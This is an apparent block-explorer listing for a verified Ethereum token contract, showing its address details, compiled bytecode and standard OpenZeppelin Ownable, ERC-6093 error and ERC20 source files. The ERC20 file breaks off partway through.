Address Contract Verified
Address
0xC9be0A083d7D0876eD837AB7067CC8f5499B8230
Balance
0 ETH
Nonce
1
Code Size
9672 bytes
Creator
0x07F1BE02...cC27 at tx 0x01d604e4...bec3d3
Indexed Transactions
0
Contract Bytecode
9672 bytes
0x6080604052600436106101a05760003560e01c806370a08231116100ec578063c9567bf91161008a578063dd62ed3e11610064578063dd62ed3e146105c9578063eb50e70e14610606578063f2fde38b1461062f578063f429389014610658576101a7565b8063c9567bf91461054a578063d0e1032614610575578063d36d04971461059e576101a7565b80638da5cb5b116100c65780638da5cb5b1461048c57806395d89b41146104b7578063a0e47bf6146104e2578063a9059cbb1461050d576101a7565b806370a08231146103fb578063715018a61461043857806377b54bad1461044f576101a7565b8063293230b81161015957806332972e461161013357806332972e461461033d578063471131ac146103685780634f1455c9146103a55780636ddd1713146103d0576101a7565b8063293230b8146102d05780633090b640146102e7578063313ce56714610312576101a7565b80630445b667146101ac57806306fdde03146101d7578063095ea7b31461020257806318160ddd1461023f5780631e34c5851461026a57806323b872dd14610293576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161066f565b6040516101ce9190611c7b565b60405180910390f35b3480156101e357600080fd5b506101ec610675565b6040516101f99190611d26565b60405180910390f35b34801561020e57600080fd5b5061022960048036038101906102249190611dd7565b610707565b6040516102369190611e32565b60405180910390f35b34801561024b57600080fd5b5061025461072a565b6040516102619190611c7b565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190611e4d565b610734565b005b34801561029f57600080fd5b506102ba60048036038101906102b59190611e8d565b61074e565b6040516102c79190611e32565b60405180910390f35b3480156102dc57600080fd5b506102e561077d565b005b3480156102f357600080fd5b506102fc6107a2565b6040516103099190611eef565b60405180910390f35b34801561031e57600080fd5b506103276107c8565b6040516103349190611f26565b60405180910390f35b34801561034957600080fd5b506103526107d1565b60405161035f9190611eef565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a9190611f41565b6107f5565b60405161039c9190611e32565b60405180910390f35b3480156103b157600080fd5b506103ba610815565b6040516103c79190611c7b565b60405180910390f35b3480156103dc57600080fd5b506103e561081b565b6040516103f29190611e32565b60405180910390f35b34801561040757600080fd5b50610422600480360381019061041d9190611f41565b61082e565b60405161042f9190611c7b565b60405180910390f35b34801561044457600080fd5b5061044d610876565b005b34801561045b57600080fd5b5061047660048036038101906104719190611dd7565b61088a565b6040516104839190611e32565b60405180910390f35b34801561049857600080fd5b506104a16109b8565b6040516104ae9190611eef565b60405180910390f35b3480156104c357600080fd5b506104cc6109e2565b6040516104d99190611d26565b60405180910390f35b3480156104ee57600080fd5b506104f7610a74565b6040516105049190611fcd565b60405180910390f35b34801561051957600080fd5b50610534600480360381019061052f9190611dd7565b610a98565b6040516105419190611e32565b60405180910390f35b34801561055657600080fd5b5061055f610abb565b60405161056c9190611e32565b60405180910390f35b34801561058157600080fd5b5061059c60048036038101906105979190612014565b610ace565b005b3480156105aa57600080fd5b506105b3610bbb565b6040516105c09190611c7b565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190612054565b610bc1565b6040516105fd9190611c7b565b60405180910390f35b34801561061257600080fd5b5061062d60048036038101906106289190611f41565b610c48565b005b34801561063b57600080fd5b5061065660048036038101906106519190611f41565b610d0e565b005b34801561066457600080fd5b5061066d610d94565b005b600a5481565b606060038054610684906120c3565b80601f01602080910402602001604051908101604052809291908181526020018280546106b0906120c3565b80156106fd5780601f106106d2576101008083540402835291602001916106fd565b820191906000526020600020905b8154815290600101906020018083116106e057829003601f168201915b5050505050905090565b600080610712610de1565b905061071f818585610de9565b600191505092915050565b6000600254905090565b61073c610dfb565b81600981905550806008819055505050565b600080610759610de1565b9050610766858285610e82565b610771858585610f16565b60019150509392505050565b610785610dfb565b6001600d60006101000a81548160ff021916908315150217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012905090565b7f00000000000000000000000015a95555ed8f1b536c686a729cc0801d8c43b51b81565b60076020528060005260406000206000915054906101000a900460ff1681565b60095481565b600d60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61087e610dfb565b610888600061100a565b565b6000808203610910578273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108cc9190611eef565b602060405180830381865afa1580156108e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090d9190612109565b91505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b815260040161096d929190612136565b6020604051808303816000875af115801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190612174565b905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546109f1906120c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1d906120c3565b8015610a6a5780601f10610a3f57610100808354040283529160200191610a6a565b820191906000526020600020905b815481529060010190602001808311610a4d57829003601f168201915b5050505050905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600080610aa3610de1565b9050610ab0818585610f16565b600191505092915050565b600d60009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610b5f5750610b2f6109b8565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610b96576040517f5c427cd900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b81600d60016101000a81548160ff02191690831515021790555080600a819055505050565b60085481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c50610dfb565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d16610dfb565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d885760006040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610d7f9190611eef565b60405180910390fd5b610d918161100a565b50565b610ddf47600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d090919063ffffffff16565b565b600033905090565b610df683838360016111bd565b505050565b610e03610de1565b73ffffffffffffffffffffffffffffffffffffffff16610e216109b8565b73ffffffffffffffffffffffffffffffffffffffff1614610e8057610e44610de1565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610e779190611eef565b60405180910390fd5b565b6000610e8e8484610bc1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f105781811015610f00578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610ef7939291906121a1565b60405180910390fd5b610f0f848484840360006111bd565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f885760006040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f7f9190611eef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ffa5760006040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610ff19190611eef565b60405180910390fd5b611005838383611394565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8047101561111557306040517fcd78605900000000000000000000000000000000000000000000000000000000815260040161110c9190611eef565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff168260405161113b90612209565b60006040518083038185875af1925050503d8060008114611178576040519150601f19603f3d011682016040523d82523d6000602084013e61117d565b606091505b50509050806111b8576040517f1425ea4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361122f5760006040517fe602df050000000000000000000000000000000000000000000000000000000081526004016112269190611eef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a15760006040517f94280d620000000000000000000000000000000000000000000000000000000081526004016112989190611eef565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561138e578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516113859190611c7b565b60405180910390a35b50505050565b600d60029054906101000a900460ff16156113b9576113b4838383611798565b611793565b600d60009054906101000a900460ff1615801561140957506113d96109b8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561144857506114186109b8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561147f576040517fe09f033100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600d60019054906101000a900460ff1680156114e657507f00000000000000000000000015a95555ed8f1b536c686a729cc0801d8c43b51b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80156114fb5750600a546114f93061082e565b115b1561157857600b54431115611513576000600c819055505b6005600c541061154f576040517f8dc51d9a00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b611558816119bd565b600c600081548092919061156b9061224d565b919050555043600b819055505b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561161c5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116c957507f00000000000000000000000015a95555ed8f1b536c686a729cc0801d8c43b51b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806116c857507f00000000000000000000000015a95555ed8f1b536c686a729cc0801d8c43b51b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b5b156117865760007f00000000000000000000000015a95555ed8f1b536c686a729cc0801d8c43b51b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611742576064600854836117339190612295565b61173d9190612306565b61175d565b6064600954836117529190612295565b61175c9190612306565b5b905061176a843083611798565b6117808484838561177b9190612337565b611798565b50611792565b611791838383611798565b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117ea5780600260008282546117de919061236b565b925050819055506118bd565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611876578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161186d939291906121a1565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119065780600260008282540392505081905550611953565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119b09190611c7b565b60405180910390a3505050565b6001600d60026101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119f5576119f461239f565b5b604051908082528060200260200182016040528015611a235781602001602082028036833780820191505090505b5090503081600081518110611a3b57611a3a6123ce565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ae0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b049190612412565b81600181518110611b1857611b176123ce565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947600a548410611b9f57600a54611ba1565b835b60008430426040518663ffffffff1660e01b8152600401611bc6959493929190612538565b600060405180830381600087803b158015611be057600080fd5b505af1158015611bf4573d6000803e3d6000fd5b50505050611c4347600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d090919063ffffffff16565b506000600d60026101000a81548160ff02191690831515021790555050565b6000819050919050565b611c7581611c62565b82525050565b6000602082019050611c906000830184611c6c565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611cd0578082015181840152602081019050611cb5565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cf882611c96565b611d028185611ca1565b9350611d12818560208601611cb2565b611d1b81611cdc565b840191505092915050565b60006020820190508181036000830152611d408184611ced565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d7882611d4d565b9050919050565b611d8881611d6d565b8114611d9357600080fd5b50565b600081359050611da581611d7f565b92915050565b611db481611c62565b8114611dbf57600080fd5b50565b600081359050611dd181611dab565b92915050565b60008060408385031215611dee57611ded611d48565b5b6000611dfc85828601611d96565b9250506020611e0d85828601611dc2565b9150509250929050565b60008115159050919050565b611e2c81611e17565b82525050565b6000602082019050611e476000830184611e23565b92915050565b60008060408385031215611e6457611e63611d48565b5b6000611e7285828601611dc2565b9250506020611e8385828601611dc2565b9150509250929050565b600080600060608486031215611ea657611ea5611d48565b5b6000611eb486828701611d96565b9350506020611ec586828701611d96565b9250506040611ed686828701611dc2565b9150509250925092565b611ee981611d6d565b82525050565b6000602082019050611f046000830184611ee0565b92915050565b600060ff82169050919050565b611f2081611f0a565b82525050565b6000602082019050611f3b6000830184611f17565b92915050565b600060208284031215611f5757611f56611d48565b5b6000611f6584828501611d96565b91505092915050565b6000819050919050565b6000611f93611f8e611f8984611d4d565b611f6e565b611d4d565b9050919050565b6000611fa582611f78565b9050919050565b6000611fb782611f9a565b9050919050565b611fc781611fac565b82525050565b6000602082019050611fe26000830184611fbe565b92915050565b611ff181611e17565b8114611ffc57600080fd5b50565b60008135905061200e81611fe8565b92915050565b6000806040838503121561202b5761202a611d48565b5b600061203985828601611fff565b925050602061204a85828601611dc2565b9150509250929050565b6000806040838503121561206b5761206a611d48565b5b600061207985828601611d96565b925050602061208a85828601611d96565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120db57607f821691505b6020821081036120ee576120ed612094565b5b50919050565b60008151905061210381611dab565b92915050565b60006020828403121561211f5761211e611d48565b5b600061212d848285016120f4565b91505092915050565b600060408201905061214b6000830185611ee0565b6121586020830184611c6c565b9392505050565b60008151905061216e81611fe8565b92915050565b60006020828403121561218a57612189611d48565b5b60006121988482850161215f565b91505092915050565b60006060820190506121b66000830186611ee0565b6121c36020830185611c6c565b6121d06040830184611c6c565b949350505050565b600081905092915050565b50565b60006121f36000836121d8565b91506121fe826121e3565b600082019050919050565b6000612214826121e6565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061225882611c62565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361228a5761228961221e565b5b600182019050919050565b60006122a082611c62565b91506122ab83611c62565b92508282026122b981611c62565b915082820484148315176122d0576122cf61221e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061231182611c62565b915061231c83611c62565b92508261232c5761232b6122d7565b5b828204905092915050565b600061234282611c62565b915061234d83611c62565b92508282039050818111156123655761236461221e565b5b92915050565b600061237682611c62565b915061238183611c62565b92508282019050808211156123995761239861221e565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061240c81611d7f565b92915050565b60006020828403121561242857612427611d48565b5b6000612436848285016123fd565b91505092915050565b6000819050919050565b600061246461245f61245a8461243f565b611f6e565b611c62565b9050919050565b61247481612449565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6124af81611d6d565b82525050565b60006124c183836124a6565b60208301905092915050565b6000602082019050919050565b60006124e58261247a565b6124ef8185612485565b93506124fa83612496565b8060005b8381101561252b57815161251288826124b5565b975061251d836124cd565b9250506001810190506124fe565b5085935050505092915050565b600060a08201905061254d6000830188611c6c565b61255a602083018761246b565b818103604083015261256c81866124da565b905061257b6060830185611ee0565b6125886080830184611c6c565b969550505050505056fea2646970667358221220556e784a743df0e2bb72e2fc139a3d4ba5674e052f1874bc450a5ef3b28ce4b464736f6c63430008180033
Verified Source Code Full Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: paris
Optimization: No
Ownable.sol 100 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
pragma solidity ^0.8.20;
import {Context} from "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. `address(0)`)
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
draft-IERC6093.sol 161 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Standard ERC721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
*/
interface IERC721Errors {
/**
* @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
* Used in balance queries.
* @param owner Address of the current owner of a token.
*/
error ERC721InvalidOwner(address owner);
/**
* @dev Indicates a `tokenId` whose `owner` is the zero address.
* @param tokenId Identifier number of a token.
*/
error ERC721NonexistentToken(uint256 tokenId);
/**
* @dev Indicates an error related to the ownership over a particular token. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param tokenId Identifier number of a token.
* @param owner Address of the current owner of a token.
*/
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC721InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC721InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param tokenId Identifier number of a token.
*/
error ERC721InsufficientApproval(address operator, uint256 tokenId);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC721InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC721InvalidOperator(address operator);
}
/**
* @dev Standard ERC1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
*/
interface IERC1155Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
* @param tokenId Identifier number of a token.
*/
error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC1155InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC1155InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param owner Address of the current owner of a token.
*/
error ERC1155MissingApprovalForAll(address operator, address owner);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC1155InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC1155InvalidOperator(address operator);
/**
* @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
* Used in batch transfers.
* @param idsLength Length of the array of token identifiers
* @param valuesLength Length of the array of token amounts
*/
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
ERC20.sol 316 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
